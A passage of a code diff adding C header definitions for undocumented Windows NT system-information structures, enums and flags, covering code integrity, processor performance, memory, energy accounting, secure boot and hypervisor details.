SYSTEM_SYSTEM_PARTITION_INFORMATION, * PSYSTEM_SYSTEM_PARTITION_INFORMATION; + +// private +typedef struct _SYSTEM_SYSTEM_DISK_INFORMATION +{ + UNICODE_STRING SystemDisk; +} SYSTEM_SYSTEM_DISK_INFORMATION, * PSYSTEM_SYSTEM_DISK_INFORMATION; + +// private (Windows 8.1 and above) +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT +{ + ULONGLONG Hits; + UCHAR PercentFrequency; +} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT, * PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT; + +// private (Windows 7 and Windows 8) +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8 +{ + ULONG Hits; + UCHAR PercentFrequency; +} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8, * PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION +{ + ULONG ProcessorNumber; + ULONG StateCount; + SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT States[1]; +} SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION, * PSYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION +{ + ULONG ProcessorCount; + ULONG Offsets[1]; +} SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION, * PSYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION; + +#define CODEINTEGRITY_OPTION_ENABLED 0x01 +#define CODEINTEGRITY_OPTION_TESTSIGN 0x02 +#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x04 +#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x08 +#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10 +#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20 +#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40 +#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80 +#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100 +#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000 +#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000 + +// private +typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION +{ + ULONG Length; + ULONG CodeIntegrityOptions; +} SYSTEM_CODEINTEGRITY_INFORMATION, * PSYSTEM_CODEINTEGRITY_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION +{ + ULONG Operation; +} SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION, * PSYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION; + +// private +typedef enum _SYSTEM_VA_TYPE +{ + SystemVaTypeAll, + SystemVaTypeNonPagedPool, + SystemVaTypePagedPool, + SystemVaTypeSystemCache, + SystemVaTypeSystemPtes, + SystemVaTypeSessionSpace, + SystemVaTypeMax +} SYSTEM_VA_TYPE, * PSYSTEM_VA_TYPE; + +// private +typedef struct _SYSTEM_VA_LIST_INFORMATION +{ + SIZE_T VirtualSize; + SIZE_T VirtualPeak; + SIZE_T VirtualLimit; + SIZE_T AllocationFailures; +} SYSTEM_VA_LIST_INFORMATION, * PSYSTEM_VA_LIST_INFORMATION; + +// rev +typedef enum _SYSTEM_STORE_INFORMATION_CLASS +{ + SystemStoreCompressionInformation = 22 // q: SYSTEM_STORE_COMPRESSION_INFORMATION +} SYSTEM_STORE_INFORMATION_CLASS; + +// rev +#define SYSTEM_STORE_INFORMATION_VERSION 1 + +// rev +typedef struct _SYSTEM_STORE_INFORMATION +{ + _In_ ULONG Version; + _In_ SYSTEM_STORE_INFORMATION_CLASS StoreInformationClass; + _Inout_ PVOID Data; + _Inout_ ULONG Length; +} SYSTEM_STORE_INFORMATION, * PSYSTEM_STORE_INFORMATION; + +// rev +#define SYSTEM_STORE_COMPRESSION_INFORMATION_VERSION 3 + +// rev +typedef struct _SYSTEM_STORE_COMPRESSION_INFORMATION +{ + ULONG Version; + ULONG CompressionPid; + ULONGLONG CompressionWorkingSetSize; + ULONGLONG CompressSize; + ULONGLONG CompressedSize; + ULONGLONG NonCompressedSize; +} SYSTEM_STORE_COMPRESSION_INFORMATION, * PSYSTEM_STORE_COMPRESSION_INFORMATION; + +// private +typedef struct _SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS +{ + HANDLE KeyHandle; + PUNICODE_STRING ValueNamePointer; + PULONG RequiredLengthPointer; + PUCHAR Buffer; + ULONG BufferLength; + ULONG Type; + PUCHAR AppendBuffer; + ULONG AppendBufferLength; + BOOLEAN CreateIfDoesntExist; + BOOLEAN TruncateExistingValue; +} SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS, * PSYSTEM_REGISTRY_APPEND_STRING_PARAMETERS; + +// msdn +typedef struct _SYSTEM_VHD_BOOT_INFORMATION +{ + BOOLEAN OsDiskIsVhd; + ULONG OsVhdFilePathOffset; + WCHAR OsVhdParentVolume[ANYSIZE_ARRAY]; +} SYSTEM_VHD_BOOT_INFORMATION, * PSYSTEM_VHD_BOOT_INFORMATION; + +// private +typedef struct _PS_CPU_QUOTA_QUERY_ENTRY +{ + ULONG SessionId; + ULONG Weight; +} PS_CPU_QUOTA_QUERY_ENTRY, * PPS_CPU_QUOTA_QUERY_ENTRY; + +// private +typedef struct _PS_CPU_QUOTA_QUERY_INFORMATION +{ + ULONG SessionCount; + PS_CPU_QUOTA_QUERY_ENTRY SessionInformation[1]; +} PS_CPU_QUOTA_QUERY_INFORMATION, * PPS_CPU_QUOTA_QUERY_INFORMATION; + +// private +typedef struct _SYSTEM_ERROR_PORT_TIMEOUTS +{ + ULONG StartTimeout; + ULONG CommTimeout; +} SYSTEM_ERROR_PORT_TIMEOUTS, * PSYSTEM_ERROR_PORT_TIMEOUTS; + +// private +typedef struct _SYSTEM_LOW_PRIORITY_IO_INFORMATION +{ + ULONG LowPriReadOperations; + ULONG LowPriWriteOperations; + ULONG KernelBumpedToNormalOperations; + ULONG LowPriPagingReadOperations; + ULONG KernelPagingReadsBumpedToNormal; + ULONG LowPriPagingWriteOperations; + ULONG KernelPagingWritesBumpedToNormal; + ULONG BoostedIrpCount; + ULONG BoostedPagingIrpCount; + ULONG BlanketBoostCount; +} SYSTEM_LOW_PRIORITY_IO_INFORMATION, * PSYSTEM_LOW_PRIORITY_IO_INFORMATION; + +// symbols +typedef enum _TPM_BOOT_ENTROPY_RESULT_CODE +{ + TpmBootEntropyStructureUninitialized, + TpmBootEntropyDisabledByPolicy, + TpmBootEntropyNoTpmFound, + TpmBootEntropyTpmError, + TpmBootEntropySuccess +} TPM_BOOT_ENTROPY_RESULT_CODE; + +// Contents of KeLoaderBlock->Extension->TpmBootEntropyResult (TPM_BOOT_ENTROPY_LDR_RESULT). +// EntropyData is truncated to 40 bytes. + +// private +typedef struct _TPM_BOOT_ENTROPY_NT_RESULT +{ + ULONGLONG Policy; + TPM_BOOT_ENTROPY_RESULT_CODE ResultCode; + NTSTATUS ResultStatus; + ULONGLONG Time; + ULONG EntropyLength; + UCHAR EntropyData[40]; +} TPM_BOOT_ENTROPY_NT_RESULT, * PTPM_BOOT_ENTROPY_NT_RESULT; + +// private +typedef struct _SYSTEM_VERIFIER_COUNTERS_INFORMATION +{ + SYSTEM_VERIFIER_INFORMATION Legacy; + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsWithNoTag; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + SIZE_T LockedBytes; + SIZE_T PeakLockedBytes; + SIZE_T MappedLockedBytes; + SIZE_T PeakMappedLockedBytes; + SIZE_T MappedIoSpaceBytes; + SIZE_T PeakMappedIoSpaceBytes; + SIZE_T PagesForMdlBytes; + SIZE_T PeakPagesForMdlBytes; + SIZE_T ContiguousMemoryBytes; + SIZE_T PeakContiguousMemoryBytes; + ULONG ExecutePoolTypes; // REDSTONE2 + ULONG ExecutePageProtections; + ULONG ExecutePageMappings; + ULONG ExecuteWriteSections; + ULONG SectionAlignmentFailures; + ULONG UnsupportedRelocs; + ULONG IATInExecutableSection; +} SYSTEM_VERIFIER_COUNTERS_INFORMATION, * PSYSTEM_VERIFIER_COUNTERS_INFORMATION; + +// private +typedef struct _SYSTEM_ACPI_AUDIT_INFORMATION +{ + ULONG RsdpCount; + ULONG SameRsdt : 1; + ULONG SlicPresent : 1; + ULONG SlicDifferent : 1; +} SYSTEM_ACPI_AUDIT_INFORMATION, * PSYSTEM_ACPI_AUDIT_INFORMATION; + +// private +typedef struct _SYSTEM_BASIC_PERFORMANCE_INFORMATION +{ + SIZE_T AvailablePages; + SIZE_T CommittedPages; + SIZE_T CommitLimit; + SIZE_T PeakCommitment; +} SYSTEM_BASIC_PERFORMANCE_INFORMATION, * PSYSTEM_BASIC_PERFORMANCE_INFORMATION; + +// begin_msdn + +typedef struct _QUERY_PERFORMANCE_COUNTER_FLAGS +{ + union + { + struct + { + ULONG KernelTransition : 1; + ULONG Reserved : 31; + }; + ULONG ul; + }; +} QUERY_PERFORMANCE_COUNTER_FLAGS; + +typedef struct _SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION +{ + ULONG Version; + QUERY_PERFORMANCE_COUNTER_FLAGS Flags; + QUERY_PERFORMANCE_COUNTER_FLAGS ValidFlags; +} SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION, * PSYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION; + +// end_msdn + +// private +typedef enum _SYSTEM_PIXEL_FORMAT +{ + SystemPixelFormatUnknown, + SystemPixelFormatR8G8B8, + SystemPixelFormatR8G8B8X8, + SystemPixelFormatB8G8R8, + SystemPixelFormatB8G8R8X8 +} SYSTEM_PIXEL_FORMAT; + +// private +typedef struct _SYSTEM_BOOT_GRAPHICS_INFORMATION +{ + LARGE_INTEGER FrameBuffer; + ULONG Width; + ULONG Height; + ULONG PixelStride; + ULONG Flags; + SYSTEM_PIXEL_FORMAT Format; + ULONG DisplayRotation; +} SYSTEM_BOOT_GRAPHICS_INFORMATION, * PSYSTEM_BOOT_GRAPHICS_INFORMATION; + +// private +typedef struct _MEMORY_SCRUB_INFORMATION +{ + HANDLE Handle; + ULONG PagesScrubbed; +} MEMORY_SCRUB_INFORMATION, * PMEMORY_SCRUB_INFORMATION; + +// private +typedef struct _PEBS_DS_SAVE_AREA32 +{ + ULONG BtsBufferBase; + ULONG BtsIndex; + ULONG BtsAbsoluteMaximum; + ULONG BtsInterruptThreshold; + ULONG PebsBufferBase; + ULONG PebsIndex; + ULONG PebsAbsoluteMaximum; + ULONG PebsInterruptThreshold; + ULONG PebsGpCounterReset[8]; + ULONG PebsFixedCounterReset[4]; +} PEBS_DS_SAVE_AREA32, * PPEBS_DS_SAVE_AREA32; + +// private +typedef struct _PEBS_DS_SAVE_AREA64 +{ + ULONGLONG BtsBufferBase; + ULONGLONG BtsIndex; + ULONGLONG BtsAbsoluteMaximum; + ULONGLONG BtsInterruptThreshold; + ULONGLONG PebsBufferBase; + ULONGLONG PebsIndex; + ULONGLONG PebsAbsoluteMaximum; + ULONGLONG PebsInterruptThreshold; + ULONGLONG PebsGpCounterReset[8]; + ULONGLONG PebsFixedCounterReset[4]; +} PEBS_DS_SAVE_AREA64, * PPEBS_DS_SAVE_AREA64; + +// private +typedef union _PEBS_DS_SAVE_AREA +{ + PEBS_DS_SAVE_AREA32 As32Bit; + PEBS_DS_SAVE_AREA64 As64Bit; +} PEBS_DS_SAVE_AREA, * PPEBS_DS_SAVE_AREA; + +// private +typedef struct _PROCESSOR_PROFILE_CONTROL_AREA +{ + PEBS_DS_SAVE_AREA PebsDsSaveArea; +} PROCESSOR_PROFILE_CONTROL_AREA, * PPROCESSOR_PROFILE_CONTROL_AREA; + +// private +typedef struct _SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA +{ + PROCESSOR_PROFILE_CONTROL_AREA ProcessorProfileControlArea; + BOOLEAN Allocate; +} SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA, * PSYSTEM_PROCESSOR_PROFILE_CONTROL_AREA; + +// private +typedef struct _MEMORY_COMBINE_INFORMATION +{ + HANDLE Handle; + ULONG_PTR PagesCombined; +} MEMORY_COMBINE_INFORMATION, * PMEMORY_COMBINE_INFORMATION; + +// rev +#define MEMORY_COMBINE_FLAGS_COMMON_PAGES_ONLY 0x4 + +// private +typedef struct _MEMORY_COMBINE_INFORMATION_EX +{ + HANDLE Handle; + ULONG_PTR PagesCombined; + ULONG Flags; +} MEMORY_COMBINE_INFORMATION_EX, * PMEMORY_COMBINE_INFORMATION_EX; + +// private +typedef struct _MEMORY_COMBINE_INFORMATION_EX2 +{ + HANDLE Handle; + ULONG_PTR PagesCombined; + ULONG Flags; + HANDLE ProcessHandle; +} MEMORY_COMBINE_INFORMATION_EX2, * PMEMORY_COMBINE_INFORMATION_EX2; + +// private +typedef struct _SYSTEM_CONSOLE_INFORMATION +{ + ULONG DriverLoaded : 1; + ULONG Spare : 31; +} SYSTEM_CONSOLE_INFORMATION, * PSYSTEM_CONSOLE_INFORMATION; + +// private +typedef struct _SYSTEM_PLATFORM_BINARY_INFORMATION +{ + ULONG64 PhysicalAddress; + PVOID HandoffBuffer; + PVOID CommandLineBuffer; + ULONG HandoffBufferSize; + ULONG CommandLineBufferSize; +} SYSTEM_PLATFORM_BINARY_INFORMATION, * PSYSTEM_PLATFORM_BINARY_INFORMATION; + +// private +typedef struct _SYSTEM_POLICY_INFORMATION +{ + PVOID InputData; + PVOID OutputData; + ULONG InputDataSize; + ULONG OutputDataSize; + ULONG Version; +} SYSTEM_POLICY_INFORMATION, * PSYSTEM_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION +{ + ULONG NumberOfLogicalProcessors; + ULONG NumberOfCores; +} SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION, * PSYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION; + +// private +typedef struct _SYSTEM_DEVICE_DATA_INFORMATION +{ + UNICODE_STRING DeviceId; + UNICODE_STRING DataName; + ULONG DataType; + ULONG DataBufferLength; + PVOID DataBuffer; +} SYSTEM_DEVICE_DATA_INFORMATION, * PSYSTEM_DEVICE_DATA_INFORMATION; + +// private +typedef struct _PHYSICAL_CHANNEL_RUN +{ + ULONG NodeNumber; + ULONG ChannelNumber; + ULONGLONG BasePage; + ULONGLONG PageCount; + ULONG Flags; +} PHYSICAL_CHANNEL_RUN, * PPHYSICAL_CHANNEL_RUN; + +// private +typedef struct _SYSTEM_MEMORY_TOPOLOGY_INFORMATION +{ + ULONGLONG NumberOfRuns; + ULONG NumberOfNodes; + ULONG NumberOfChannels; + PHYSICAL_CHANNEL_RUN Run[1]; +} SYSTEM_MEMORY_TOPOLOGY_INFORMATION, * PSYSTEM_MEMORY_TOPOLOGY_INFORMATION; + +// private +typedef struct _SYSTEM_MEMORY_CHANNEL_INFORMATION +{ + ULONG ChannelNumber; + ULONG ChannelHeatIndex; + ULONGLONG TotalPageCount; + ULONGLONG ZeroPageCount; + ULONGLONG FreePageCount; + ULONGLONG StandbyPageCount; +} SYSTEM_MEMORY_CHANNEL_INFORMATION, * PSYSTEM_MEMORY_CHANNEL_INFORMATION; + +// private +typedef struct _SYSTEM_BOOT_LOGO_INFORMATION +{ + ULONG Flags; + ULONG BitmapOffset; +} SYSTEM_BOOT_LOGO_INFORMATION, * PSYSTEM_BOOT_LOGO_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; + ULONG Spare0; + LARGE_INTEGER AvailableTime; + LARGE_INTEGER Spare1; + LARGE_INTEGER Spare2; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX, * PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SECUREBOOT_POLICY_INFORMATION +{ + GUID PolicyPublisher; + ULONG PolicyVersion; + ULONG PolicyOptions; +} SYSTEM_SECUREBOOT_POLICY_INFORMATION, * PSYSTEM_SECUREBOOT_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_PAGEFILE_INFORMATION_EX +{ + union // HACK union declaration for convenience (dmex) + { + SYSTEM_PAGEFILE_INFORMATION Info; + struct + { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; + }; + }; + + ULONG MinimumSize; + ULONG MaximumSize; +} SYSTEM_PAGEFILE_INFORMATION_EX, * PSYSTEM_PAGEFILE_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SECUREBOOT_INFORMATION +{ + BOOLEAN SecureBootEnabled; + BOOLEAN SecureBootCapable; +} SYSTEM_SECUREBOOT_INFORMATION, * PSYSTEM_SECUREBOOT_INFORMATION; + +// private +typedef struct _PROCESS_DISK_COUNTERS +{ + ULONGLONG BytesRead; + ULONGLONG BytesWritten; + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG FlushOperationCount; +} PROCESS_DISK_COUNTERS, * PPROCESS_DISK_COUNTERS; + +// private +typedef union _ENERGY_STATE_DURATION +{ + union + { + ULONGLONG Value; + ULONG LastChangeTime; + }; + + ULONG Duration : 31; + ULONG IsInState : 1; +} ENERGY_STATE_DURATION, * PENERGY_STATE_DURATION; + +typedef struct _PROCESS_ENERGY_VALUES +{ + ULONGLONG Cycles[4][2]; + ULONGLONG DiskEnergy; + ULONGLONG NetworkTailEnergy; + ULONGLONG MBBTailEnergy; + ULONGLONG NetworkTxRxBytes; + ULONGLONG MBBTxRxBytes; + union + { + ENERGY_STATE_DURATION Durations[3]; + struct + { + ENERGY_STATE_DURATION ForegroundDuration; + ENERGY_STATE_DURATION DesktopVisibleDuration; + ENERGY_STATE_DURATION PSMForegroundDuration; + }; + }; + ULONG CompositionRendered; + ULONG CompositionDirtyGenerated; + ULONG CompositionDirtyPropagated; + ULONG Reserved1; + ULONGLONG AttributedCycles[4][2]; + ULONGLONG WorkOnBehalfCycles[4][2]; +} PROCESS_ENERGY_VALUES, * PPROCESS_ENERGY_VALUES; + +typedef struct _TIMELINE_BITMAP +{ + ULONGLONG Value; + ULONG EndTime; + ULONG Bitmap; +} TIMELINE_BITMAP, * PTIMELINE_BITMAP; + +typedef struct _PROCESS_ENERGY_VALUES_EXTENSION +{ + union + { + TIMELINE_BITMAP Timelines[14]; // 9 for REDSTONE2, 14 for REDSTONE3/4/5 + struct + { + TIMELINE_BITMAP CpuTimeline; + TIMELINE_BITMAP DiskTimeline; + TIMELINE_BITMAP NetworkTimeline; + TIMELINE_BITMAP MBBTimeline; + TIMELINE_BITMAP ForegroundTimeline; + TIMELINE_BITMAP DesktopVisibleTimeline; + TIMELINE_BITMAP CompositionRenderedTimeline; + TIMELINE_BITMAP CompositionDirtyGeneratedTimeline; + TIMELINE_BITMAP CompositionDirtyPropagatedTimeline; + TIMELINE_BITMAP InputTimeline; // REDSTONE3 + TIMELINE_BITMAP AudioInTimeline; + TIMELINE_BITMAP AudioOutTimeline; + TIMELINE_BITMAP DisplayRequiredTimeline; + TIMELINE_BITMAP KeyboardInputTimeline; + }; + }; + + union // REDSTONE3 + { + ENERGY_STATE_DURATION Durations[5]; + struct + { + ENERGY_STATE_DURATION InputDuration; + ENERGY_STATE_DURATION AudioInDuration; + ENERGY_STATE_DURATION AudioOutDuration; + ENERGY_STATE_DURATION DisplayRequiredDuration; + ENERGY_STATE_DURATION PSMBackgroundDuration; + }; + }; + + ULONG KeyboardInput; + ULONG MouseInput; +} PROCESS_ENERGY_VALUES_EXTENSION, * PPROCESS_ENERGY_VALUES_EXTENSION; + +typedef struct _PROCESS_EXTENDED_ENERGY_VALUES +{ + PROCESS_ENERGY_VALUES Base; + PROCESS_ENERGY_VALUES_EXTENSION Extension; +} PROCESS_EXTENDED_ENERGY_VALUES, * PPROCESS_EXTENDED_ENERGY_VALUES; + +// private +typedef enum _SYSTEM_PROCESS_CLASSIFICATION +{ + SystemProcessClassificationNormal, + SystemProcessClassificationSystem, + SystemProcessClassificationSecureSystem, + SystemProcessClassificationMemCompression, + SystemProcessClassificationRegistry, // REDSTONE4 + SystemProcessClassificationMaximum +} SYSTEM_PROCESS_CLASSIFICATION; + +// private +typedef struct _SYSTEM_PROCESS_INFORMATION_EXTENSION +{ + PROCESS_DISK_COUNTERS DiskCounters; + ULONGLONG ContextSwitches; + union + { + ULONG Flags; + struct + { + ULONG HasStrongId : 1; + ULONG Classification : 4; // SYSTEM_PROCESS_CLASSIFICATION + ULONG BackgroundActivityModerated : 1; + ULONG Spare : 26; + }; + }; + ULONG UserSidOffset; + ULONG PackageFullNameOffset; // since THRESHOLD + PROCESS_ENERGY_VALUES EnergyValues; // since THRESHOLD + ULONG AppIdOffset; // since THRESHOLD + SIZE_T SharedCommitCharge; // since THRESHOLD2 + ULONG JobObjectId; // since REDSTONE + ULONG SpareUlong; // since REDSTONE + ULONGLONG ProcessSequenceNumber; +} SYSTEM_PROCESS_INFORMATION_EXTENSION, * PSYSTEM_PROCESS_INFORMATION_EXTENSION; + +// private +typedef struct _SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION +{ + BOOLEAN EfiLauncherEnabled; +} SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION, * PSYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX +{ + BOOLEAN DebuggerAllowed; + BOOLEAN DebuggerEnabled; + BOOLEAN DebuggerPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX, * PSYSTEM_KERNEL_DEBUGGER_INFORMATION_EX; + +// private +typedef struct _SYSTEM_ELAM_CERTIFICATE_INFORMATION +{ + HANDLE ElamDriverFile; +} SYSTEM_ELAM_CERTIFICATE_INFORMATION, * PSYSTEM_ELAM_CERTIFICATE_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_FEATURES_INFORMATION +{ + ULONGLONG ProcessorFeatureBits; + ULONGLONG Reserved[3]; +} SYSTEM_PROCESSOR_FEATURES_INFORMATION, * PSYSTEM_PROCESSOR_FEATURES_INFORMATION; + +// private +typedef struct _SYSTEM_MANUFACTURING_INFORMATION +{ + ULONG Options; + UNICODE_STRING ProfileName; +} SYSTEM_MANUFACTURING_INFORMATION, * PSYSTEM_MANUFACTURING_INFORMATION; + +// private +typedef struct _SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION +{ + BOOLEAN Enabled; +} SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION, * PSYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION; + +// private +typedef struct _HV_DETAILS +{ + ULONG Data[4]; +} HV_DETAILS, * PHV_DETAILS; + +// private +typedef struct _SYSTEM_HYPERVISOR_DETAIL_INFORMATION +{ + HV_DETAILS HvVendorAndMaxFunction; + HV_DETAILS HypervisorInterface; + HV_DETAILS HypervisorVersion; + HV_DETAILS HvFeatures; + HV_DETAILS HwFeatures; + HV_DETAILS EnlightenmentInfo; + HV_DETAILS ImplementationLimits; +} SYSTEM_HYPERVISOR_DETAIL_INFORMATION, * PSYSTEM_HYPERVISOR_DETAIL_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION +{ + ULONGLONG Cycles[2][4]; +} SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION, * PSYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION; + +// private +typedef struct _SYSTEM_TPM_INFORMATION +{ + ULONG Flags; +} SYSTEM_TPM_INFORMATION, * PSYSTEM_TPM_INFORMATION; + +// private +typedef struct _SYSTEM_VSM_PROTECTION_INFORMATION +{ + BOOLEAN DmaProtectionsAvailable; + BOOLEAN DmaProtectionsInUse; + BOOLEAN HardwareMbecAvailable; // REDSTONE4 (CVE-2018-3639) + BOOLEAN ApicVirtualizationAvailable; // 20H1 +} SYSTEM_VSM_PROTECTION_INFORMATION, * PSYSTEM_VSM_PROTECTION_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_DEBUGGER_FLAGS +{ + BOOLEAN KernelDebuggerIgnoreUmExceptions; +} SYSTEM_KERNEL_DEBUGGER_FLAGS, * PSYSTEM_KERNEL_DEBUGGER_FLAGS; + +// private +typedef struct _SYSTEM_CODEINTEGRITYPOLICY_INFORMATION +{ + ULONG Options; + ULONG HVCIOptions; + ULONGLONG Version; + GUID PolicyGuid; +} SYSTEM_CODEINTEGRITYPOLICY_INFORMATION, * PSYSTEM_CODEINTEGRITYPOLICY_INFORMATION; + +// private +typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION +{ + BOOLEAN SecureKernelRunning : 1; + BOOLEAN HvciEnabled : 1; + BOOLEAN HvciStrictMode : 1; + BOOLEAN DebugEnabled : 1; + BOOLEAN FirmwarePageProtection : 1; + BOOLEAN EncryptionKeyAvailable : 1; + BOOLEAN SpareFlags : 2; + BOOLEAN TrustletRunning : 1; + BOOLEAN HvciDisableAllowed : 1; + BOOLEAN SpareFlags2 : 6; + BOOLEAN Spare0[6]; + ULONGLONG Spare1; +} SYSTEM_ISOLATED_USER_MODE_INFORMATION, * PSYSTEM_ISOLATED_USER_MODE_INFORMATION; + +// private +typedef struct _SYSTEM_SINGLE_MODULE_INFORMATION +{ + PVOID TargetModuleAddress; + RTL_PROCESS_MODULE_INFORMATION_EX ExInfo; +} SYSTEM_SINGLE_MODULE_INFORMATION, * PSYSTEM_SINGLE_MODULE_INFORMATION; + +// private +typedef struct _SYSTEM_INTERRUPT_CPU_SET_INFORMATION +{ + ULONG Gsiv; + USHORT Group; + ULONGLONG CpuSets; +} SYSTEM_INTERRUPT_CPU_SET_INFORMATION, * PSYSTEM_INTERRUPT_CPU_SET_INFORMATION; + +// private +typedef struct _SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION +{ + SYSTEM_SECUREBOOT_POLICY_INFORMATION PolicyInformation; + ULONG PolicySize; + UCHAR Policy[1]; +} SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION, * PSYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION; + +// private +typedef struct _SYSTEM_ROOT_SILO_INFORMATION +{ + ULONG NumberOfSilos; + ULONG SiloIdList[1]; +} SYSTEM_ROOT_SILO_INFORMATION, * PSYSTEM_ROOT_SILO_INFORMATION; + +// private +typedef struct _SYSTEM_CPU_SET_TAG_INFORMATION +{ + ULONGLONG Tag; + ULONGLONG CpuSets[1]; +} SYSTEM_CPU_SET_TAG_INFORMATION, * PSYSTEM_CPU_SET_TAG_INFORMATION; + +// private +typedef struct _SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION +{ + ULONG ExtentCount; + ULONG ValidStructureSize; + ULONG NextExtentIndex; + ULONG ExtentRestart; + ULONG CycleCount; + ULONG TimeoutCount; + ULONGLONG CycleTime; + ULONGLONG CycleTimeMax; + ULONGLONG ExtentTime; + ULONG ExtentTimeIndex; + ULONG ExtentTimeMaxIndex; + ULONGLONG ExtentTimeMax; + ULONGLONG HyperFlushTimeMax; + ULONGLONG TranslateVaTimeMax; + ULONGLONG DebugExemptionCount; + ULONGLONG TbHitCount; + ULONGLONG TbMissCount; + ULONGLONG VinaPendingYield; + ULONGLONG HashCycles; + ULONG HistogramOffset; + ULONG HistogramBuckets; + ULONG HistogramShift; + ULONG Reserved1; + ULONGLONG PageNotPresentCount; +} SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION, * PSYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION; + +// private +typedef struct _SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION +{ + ULONG PlatformManifestSize; + UCHAR PlatformManifest[1]; +} SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION, * PSYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION; + +// private +typedef struct _SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT +{ + ULONG Gsiv; + UCHAR ControllerInterrupt; + UCHAR EdgeInterrupt; + UCHAR IsPrimaryInterrupt; + GROUP_AFFINITY TargetAffinity; +} SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT, * PSYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT; + +// private +typedef struct _SYSTEM_MEMORY_USAGE_INFORMATION +{ + ULONGLONG TotalPhysicalBytes; + ULONGLONG AvailableBytes; + LONGLONG ResidentAvailableBytes; + ULONGLONG CommittedBytes; + ULONGLONG SharedCommittedBytes; + ULONGLONG CommitLimitBytes; + ULONGLONG PeakCommitmentBytes; +} SYSTEM_MEMORY_USAGE_INFORMATION, * PSYSTEM_MEMORY_USAGE_INFORMATION; + +// private +typedef struct _SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION +{ + HANDLE ImageFile; + ULONG Type; // REDSTONE4 